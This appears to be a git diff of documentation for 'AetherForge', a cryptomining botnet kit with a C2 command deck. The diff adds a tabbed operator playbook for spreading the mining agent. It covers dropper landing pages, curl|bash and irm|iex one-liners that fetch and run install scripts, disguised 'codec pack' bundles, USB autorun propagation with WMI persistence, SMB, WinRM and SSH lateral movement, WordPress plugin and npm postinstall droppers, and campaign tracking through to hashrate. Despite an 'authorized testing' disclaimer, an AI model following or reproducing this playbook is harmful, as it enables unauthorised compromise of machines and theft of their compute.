<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign & War Room</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||||
|
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Overview -->
|
||||||
|
<div class="spread-panel active" data-spread-panel="overview" id="overview">
|
||||||
|
<h3>What does NOT work anymore</h3>
|
||||||
|
<div class="wiki-callout danger">
|
||||||
|
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
|
||||||
|
and CRX sideload via normal download are dead paths for commodity ops.
|
||||||
|
</div>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
|
||||||
|
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
|
||||||
|
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
|
||||||
|
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
|
||||||
|
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
<h3>AetherForge stack — has vs needs</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||||
|
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||||
|
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||||
|
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||||
|
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Web waterhole -->
|
||||||
|
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
|
||||||
|
<h3>Web waterhole — dropper landing</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Forged build (pin optional) on your command deck</li>
|
||||||
|
<li>Public URL in Calibrate or tunnel to deck</li>
|
||||||
|
<li>Static host you control (same origin or Cloudflare Pages)</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
|
||||||
|
<li>Copy dropper URL or export spread-kit ZIP.</li>
|
||||||
|
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
|
||||||
|
<li>Link visitors to <code>{deck}/get?pin={id}&c={slug}</code> or platform-detect <code>/get</code>.</li>
|
||||||
|
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
|
||||||
|
</ol>
|
||||||
|
<h4>Platform notes</h4>
|
||||||
|
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- curl | bash -->
|
||||||
|
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
|
||||||
|
<h3>curl | bash — headless server drops</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Deck reachable from target VPS (TLS recommended)</li>
|
||||||
|
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
|
||||||
|
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
|
||||||
|
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
|
||||||
|
<li>Publish on first-party install docs page you operate.</li>
|
||||||
|
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
|
||||||
|
</ol>
|
||||||
|
<pre><code># Linux server
|
||||||
|
curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
|
||||||
|
|
||||||
|
# Windows Server
|
||||||
|
irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Campaign & War Room -->
|
||||||
|
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
|
||||||
|
<h3>Campaign links & War Room</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>At least one forged build</li>
|
||||||
|
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
|
||||||
|
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
|
||||||
|
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
|
||||||
|
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
|
||||||
|
</ol>
|
||||||
|
<h4>Endpoints</h4>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
|
||||||
|
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
|
||||||
|
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Fusion media -->
|
||||||
|
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
|
||||||
|
<h3>Fusion media — codec / tool download</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
|
||||||
|
<li>Themed landing page on owned site</li>
|
||||||
|
<li>Optional: code signing to reduce SmartScreen prompts</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake / forge steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
|
||||||
|
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
|
||||||
|
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
|
||||||
|
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
|
||||||
|
</ol>
|
||||||
|
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- USB -->
|
||||||
|
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
|
||||||
|
<h3>USB perpetual propagation</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
|
||||||
|
<li>Physical access path to insert USB on target Windows hosts</li>
|
||||||
|
</ul>
|
||||||
|
<h4>How it works</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
|
||||||
|
<li>Create decoy folder; WMI subscription for future mounts.</li>
|
||||||
|
<li>Modern Windows limits autorun — user interaction often still required.</li>
|
||||||
|
</ol>
|
||||||
|
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
|
||||||
|
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- LAN -->
|
||||||
|
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
|
||||||
|
<h3>LAN kindling — lateral spread</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
|
||||||
|
<li>At least one patient zero on the subnet</li>
|
||||||
|
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake / forge steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
|
||||||
|
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||||
|
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||||
|
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||||
|
</ol>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- WordPress -->
|
||||||
|
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||||
|
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>WordPress installation you operate (not wordpress.org directory)</li>
|
||||||
|
<li>Pinned build in Emberwake supply-chain wizard</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
|
||||||
|
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
|
||||||
|
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
|
||||||
|
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
|
||||||
|
<li>Track <code>wp-{site}</code> in War Room.</li>
|
||||||
|
</ol>
|
||||||
|
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
|
||||||
|
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
|
||||||
|
<li>Activate on owned host; verify Tools page + admin notice URL</li>
|
||||||
|
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
|
||||||
|
</ul>
|
||||||
|
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- npm helper -->
|
||||||
|
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
|
||||||
|
<h3>npm postinstall helper — your packages only</h3>
|
||||||
|
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
|
||||||
|
<h4>Prerequisites</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
|
||||||
|
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
|
||||||
|
</ul>
|
||||||
|
<h4>Emberwake steps</h4>
|
||||||
|
<ol class="spread-steps">
|
||||||
|
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
|
||||||
|
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
|
||||||
|
<li>Publish to your registry; add as dependency in authorized projects.</li>
|
||||||
|
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&pin=…</code>.</li>
|
||||||
|
</ol>
|
||||||
|
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Unzip npm helper template</li>
|
||||||
|
<li>Publish with <code>npm publish --access restricted</code></li>
|
||||||
|
<li>Add dependency in authorized pipeline only</li>
|
||||||
|
<li>Verify agent connect + War Room campaign slug</li>
|
||||||
|
</ul>
|
||||||
|
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Social funnel -->
|
||||||
|
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
|
||||||
|
<h3>Social engineering funnel</h3>
|
||||||
|
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
|
||||||
|
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
|
||||||
|
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
|
||||||
|
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
|
||||||
|
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Third-party -->
|
||||||
|
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||||
|
<h3>Third-party platforms & gaps</h3>
|
||||||
|
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
|
||||||
|
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
|
||||||
|
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
|
||||||
|
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
|
||||||
|
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
|
||||||
|
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
|
||||||
|
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
<script src="spread-techniques.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -1,5 +1,7 @@
|
|||||||
# Web-Mediated Spread Techniques (Research Summary)
|
# Web-Mediated Spread Techniques (Research Summary)
|
||||||
|
|
||||||
|
> **Operator playbook (tabbed HTML):** [SPREAD_TECHNIQUES.html](SPREAD_TECHNIQUES.html) — step-by-step Emberwake how-tos. This file is the research matrix.
|
||||||
|
|
||||||
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
|
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -24,7 +26,7 @@
|
|||||||
|
|
||||||
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
| Technique | Feasibility | Detection risk | AetherForge mapping |
|
||||||
|-----------|-------------|----------------|---------------------|
|
|-----------|-------------|----------------|---------------------|
|
||||||
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
|
||||||
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
|
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
|
||||||
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
|
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
|
||||||
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
|
| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
|
||||||
@@ -80,12 +82,10 @@
|
|||||||
|
|
||||||
| Gap | Emberwake / web-publisher role |
|
| Gap | Emberwake / web-publisher role |
|
||||||
|-----|-------------------------------|
|
|-----|-------------------------------|
|
||||||
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
|
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
|
||||||
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
|
|
||||||
| No **fake-update** HTML kit | SocGholish-style lander |
|
|
||||||
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
|
||||||
| No **OAuth redirect** helper | Entra app registration docs only |
|
| No **OAuth redirect** helper | Entra app registration docs only |
|
||||||
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
|
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -28,18 +28,25 @@
|
|||||||
</div>
|
</div>
|
||||||
<ul class="wiki-nav">
|
<ul class="wiki-nav">
|
||||||
<li><a href="#overview">Overview</a></li>
|
<li><a href="#overview">Overview</a></li>
|
||||||
<li><a href="#quick-start">Quick Start</a></li>
|
<li><a href="#quick-start">Getting Started</a></li>
|
||||||
<li><a href="#dashboard">Dashboard</a></li>
|
<li><a href="#forge">Forge & Builds</a></li>
|
||||||
<li><a href="#forge">Forge / Builder</a></li>
|
<li><a href="#mission-deck">Mission Deck</a></li>
|
||||||
<li><a href="#spread-campaigns">Spread & Campaigns</a></li>
|
<li><a href="#build-manager">Build Manager</a></li>
|
||||||
|
<li><a href="#dashboard">Fleet & Crucible</a></li>
|
||||||
|
<li><a href="#crucible-ops">Crucible Commands</a></li>
|
||||||
|
<li><a href="#spread-campaigns">Emberwake & Spread</a></li>
|
||||||
|
<li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
|
||||||
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
|
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
|
||||||
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
|
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
|
||||||
<li><a href="#agent">Agent</a></li>
|
<li><a href="#calibrate">Calibrate</a></li>
|
||||||
|
<li><a href="#path-tracer">Path Tracer</a></li>
|
||||||
|
<li><a href="#agent">Agent Reference</a></li>
|
||||||
<li><a href="#mining">Mining</a></li>
|
<li><a href="#mining">Mining</a></li>
|
||||||
|
<li><a href="#platform-matrix">Platform Matrix</a></li>
|
||||||
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
<li><a href="#alerts-ai">Alerts & AI</a></li>
|
||||||
<li><a href="#security-auth">Security & Auth</a></li>
|
<li><a href="#security-auth">Security</a></li>
|
||||||
<li><a href="#usb-portable">USB Portable Deck</a></li>
|
<li><a href="#usb-portable">USB Portable</a></li>
|
||||||
<li><a href="#api-reference">API Reference</a></li>
|
<li><a href="#api-reference">API</a></li>
|
||||||
<li><a href="#troubleshooting">Troubleshooting</a></li>
|
<li><a href="#troubleshooting">Troubleshooting</a></li>
|
||||||
<li><a href="#problems">Known Limits</a></li>
|
<li><a href="#problems">Known Limits</a></li>
|
||||||
</ul>
|
</ul>
|
||||||
@@ -182,6 +189,52 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
|
|||||||
</ul>
|
</ul>
|
||||||
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
|
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
|
||||||
|
|
||||||
|
<h3>Command deck route guide</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Route</th><th>Nav label</th><th>Primary use</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
|
||||||
|
<tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
|
||||||
|
<tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch remote terminal, expanded ops, file manager, gold rain overlay</td></tr>
|
||||||
|
<tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
|
||||||
|
<tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
|
||||||
|
<tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
|
||||||
|
<tr><td><code>/emberwake</code></td><td>Emberwake</td><td>Campaign War Room, spread-kit export, supply-chain wizards</td></tr>
|
||||||
|
<tr><td><code>/settings</code></td><td>Calibrate</td><td>Pool, alerts, users, fleet policy, staged modules, tunnels</td></tr>
|
||||||
|
<tr><td><code>/pathtracer</code></td><td>Path Tracer</td><td>Multi-hop WireGuard chain builder + QR config</td></tr>
|
||||||
|
<tr><td><code>/docs/</code></td><td>Field docs</td><td>This wiki — searchable; HelpTips link here</td></tr>
|
||||||
|
<tr><td><code>/spread/</code></td><td>Static spread kit</td><td>Public waterhole landing (no login) — see <a href="/spread/">/spread/</a></td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<p><code>/builder</code> and <code>/spread</code> redirect to <code>/forge</code> and <code>/emberwake</code>.</p>
|
||||||
|
|
||||||
|
<h3>How to read the Command Deck</h3>
|
||||||
|
<p>
|
||||||
|
The top row is your fast triage layer. <strong>Fleet Hash</strong> is the 15-minute rolling aggregate,
|
||||||
|
<strong>Est. Daily</strong> combines the live hashrate estimate with the current XMR price cache,
|
||||||
|
<strong>Accept</strong> highlights share quality, and <strong>Nodes Live</strong> tells you immediately
|
||||||
|
whether a bad pool day is really a connectivity day.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Below that, <strong>Fleet Health</strong> is the composite score to trust when the page is busy. It blends
|
||||||
|
online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
|
||||||
|
green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
|
||||||
|
the score moved.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<h3>Overview vs Advanced mode</h3>
|
||||||
|
<table class="wiki-table">
|
||||||
|
<thead><tr><th>Mode</th><th>Purpose</th><th>Extra panels</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
<tr><td>Overview</td><td>Fast status scan</td><td>Core health, key metrics, roster, topology, share pulse</td></tr>
|
||||||
|
<tr><td>Advanced</td><td>Deep operator session</td><td>AI activity, share log, matrix overlay, full chart stack</td></tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
<p>
|
||||||
|
Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
|
||||||
|
a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
|
||||||
|
</p>
|
||||||
|
|
||||||
<h3>Fleet Roster (Agents)</h3>
|
<h3>Fleet Roster (Agents)</h3>
|
||||||
<ul>
|
<ul>
|
||||||
